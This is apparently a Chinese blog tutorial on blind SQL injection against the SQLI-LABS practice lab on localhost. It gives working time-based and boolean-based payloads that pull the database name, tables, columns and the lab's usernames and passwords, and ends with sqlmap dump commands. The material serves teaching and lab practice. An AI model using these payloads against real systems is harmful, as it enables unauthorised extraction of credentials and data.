不在显示错误的盲注

盲注介绍

  Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。

也就是说,它只会说你的代码对不对,但是不会显示错误信息了。是个诚实的哑巴

       演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。BlindSQL(盲注)与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输出数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据

       盲注常分为:基于布尔型的盲注和基于时间的盲注。

 

  在SQLI-LABS第八关,如果正常输出它就会显示”You are in...........”

  如果多加个单引号,双引号,反斜杠使它报错,它不会显示任何东西

 

 

在它的源码里面可以看到,它把报错的内容给注释化了。不能去通过报错来进行SQL注入,只能通过它回答来进行注入。

 

GET基于时间的盲注

1.确定数据库的长度

and if(length(database())=1,sleep(3),1) #看它长度是否为1

很明显时间并没有停留3秒。

       and if(length(database())=2,sleep(3),1) #看它长度书否为2

       慢慢的试到了8

       and if(length(database())=8,sleep(3),1)

很显然时间停留了三秒,那么确定了它的长度是8。当然实际的操作不必要一个个尝试。我们可以通过二分头法来快速定位。

       1.and if(length(database())>5,sleep(3),1)

       2.and if(length(database())<10,sleep(3),1)

  1. and if(length(database())=6,sleep(3),1)

              ……

  1. and if(length(database())=8,sleep(3),1)

通过上面的可以快速定位。

 

2.确定数据库的名字

       and if(ASCII(SUBSTR(DATABASE(),1,1)=65), SLEEP(3) ,1):当数据库名第一个字母的ascii码等于65(A)时,执行一次sleep(3)函数等待3秒。否则就无事发生。

       由于mysql是大小写不区分,65是大写A,也可以写97小写a然后在这基础上加一就行。

       substr语法:SUBSTR(string, start, length)

通过and if(ASCII(SUBSTR(DATABASE(),1,1))=65, SLEEP(3) ,1)慢慢的尝试:

通过上面的截图可以看到,当前数据库第一个字母不是。

直到我们尝试到115也就是s (需要注意的是83是无效的,也就是大写的S。说明是对大小写敏感)。

那么我们就可以确定它的第一位是s,现在开始尝试后面的,直到第八位。

and if(ASCII(SUBSTR(DATABASE(),8,1))=121, SLEEP(3) ,1)

那么数据库就被扫出来了名字叫security。

 

3.判断库中含有的表名长度以及名字

3.1基础查询所有表

       1.使用count()函数,先确定表个数,然后再确定各个表的长度,再确定表名字

             确定了有四个表:

              and if((SELECT count(TABLE_name) FROM information_schema.TABLES WHERE table_schema = 'security')=4,SLEEP(3),1);

       2.确定第一个表的长度

         and if(LENGTH((SELECT table_name FROM information_schema. tables WHERE table_schema = 'security' LIMIT 0,1))=6,SLEEP(3),1)

       3.确定表的名字

         and if(ASCII((SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema = 'security' LIMIT 0,1),1,1)))=101,SLEEP(3),1)

       以此类推,找出所有表emails,referers,uagents,users.

3.2 更快的找出所有表

       and if((ASCII((SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema = 'security' LIMIT 0,1),2,1))))>=109,SLEEP(3),1)

       根据这一步,依次往后测定如果为空字符的话,意味着第一个表名结束。比如依次测定出第一个表名的前6个字母为 emails 测定第7个的时候让ASCII>=1 没有延迟,说明这是一个空字符(ASCII码对应的0是空字符),意味着表名的结束,为了正确性,可以继续测定第8个,依旧是空字符。按照这个办法依次猜测后面的表名  分别emails,referers,uagents,users.然后依照此办法依次猜测字段名,字段名的值。

 

3.3 使用group_concat()语句,简单方便

    此方法将字段名下的所有值集中到一行,用此函数可以不用确定表的个数,不用确定表名,可以把所有表名加在一起的长度确定下来。

    # 确定所有表名加在一起的长度

           and IF(length((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'))=29,sleep(5),0) -- -

    # group_concat()语句默认用逗号分隔,所以表名长度加逗号的长度一共是29

    # 依次猜测29个字符即可猜出表名

           and if(ASCII(SUBSTR((SELECT group_concat(table_name) from information_schema.TABLES where table_schema='security'),1,1))=101,SLEEP(5),0)

 

4.判断字段名,为方便使用group_concat()语句

# 确定出users表中所有字段名的长度加上逗号的长度为20

  and if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20,sleep(5),1)

# 依次确定字段名

      and if(ASCII(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105,sleep(5),0)

# 第一个字母对应的ascii码是105

# 依次进行猜测 猜测出字段名:id,username,password

 

5.同理得到username password的值。

5.1 username的值

# 猜出所有username值加上逗号得长度是91

  and if(length((select group_concat(username) from security.users))=91,SLEEP(5),0)

# 猜测出username得值

   and IF(ASCII(substr((select group_concat(username) from security.users),1,1))=68,SLEEP(5),0)

# 得出所有的值

  Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

5.2 password的值

# 猜测出password的值加上逗号的长度是96

  and if(length((select group_concat(password) from security.users))=96,SLEEP(5),0)

# 猜测值

  and IF(ASCII(substr((select group_concat(password) from security.users),1,1))=68,SLEEP(5),0)

# 得出所有的值

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

 

GET基于Boolean的盲注

由于有一些网站它不会显示报错信息,但是它会返回你输入的语句对不对。

是个诚实的哑巴。

我们通过一些sql语句去判断,跟上面的通过时间盲注一样

正常输入:http://localhost/Less-8/?id=1

非正常输入:http://localhost/Less-8/?id=1'

you are in 就不显示了。通过这个特性,就可以用基于布尔类型的盲注

 

1. 数据库长度和名字

1.1.确定数据库的长度

       and LENGTH(DATABASE())=8

1.2确定数据库的名字       and(ASCII((substr(database(),1,1))))=115

2.数据库下表的名字

快速方法:

  and (ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema = 'security'),1,1)))>=101

2.1所有表总长度

and (LENGTH((SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema = 'security'))) = 29

       确定所有表加起来的长度29

       由于group_concat使用逗号分隔,所以这29个长度是包含有逗号

 

2.2每个表的名字

and (ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema = 'security'),1,1)))=101

  通过这个可以写个脚本,只是每次都判断一下是不是逗号(ascii 44号)就行

\

  以此类推,确定所有表的名字emails, referers, uagents,users

3.表下所有字段

  通过表名,确定一个你需要查的字段,我选了个users表。查看users表所有字段。

3.1 字段的长度

       AND(LENGTH((select GROUP_concat(column_name) from information_schema.columns WHERE table_name = 'users' and table_schema = 'security')))=20

       确定了长度20包含逗号

3.2 字段的名字

  and(ASCII(SUBSTR((select GROUP_concat(column_name) from information_schema.columns WHERE table_name = 'users' and table_schema = 'security'),1,1)))=105

  以此类推,找出三个字段id,username,password

 

4.字段下所有数据

4.1确定长度

  AND(LENGTH((SELECT group_concat(username,password) from security.users)))=175

 确定了长度175

4.2确定数据

  AND (ASCII((SUBSTR((SELECT group_concat(username,password) from security.users),1,1))))=68

  以此类推,就此确定所有账户密码

  DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,

supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4

 

Sqlmap安全测试

--technique=     (默认全部使用)

       B       基于布尔的盲注

       T       基于时间的盲注

       E      基于报错的注入

       U      基于UNION查询注入

       S      基于多语句查询注入

 

基于时间的盲注

1.查看数据库

sqlmap.py -u “http://localhost/Less-9/?id=1” --technique  T --dbs

因为是基于时间的盲注,所以很慢,需要等待一会。

 

基于布尔的盲注

1.查看数据库

sqlmap.py -u “http://localhost/Less-9/?id=1” --technique  B --dbs

2.查看数据库里面的表

sqlmap.py -u "http://localhost/Less-8/?id=1" --technique  B  -D security --tables --batch

3.查看数据库里面的表

sqlmap.py -u "http://localhost/Less-8/?id=1" --technique  B  -D security -T users --columns --batch

4.查看数据库列里面的具体的值

sqlmap.py -u "http://localhost/Less-8/?id=1" --technique  B  -D security -T users -C username,password --dump --batch

posted @   0x1e61  阅读(27)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
点击右上角即可分享
微信分享提示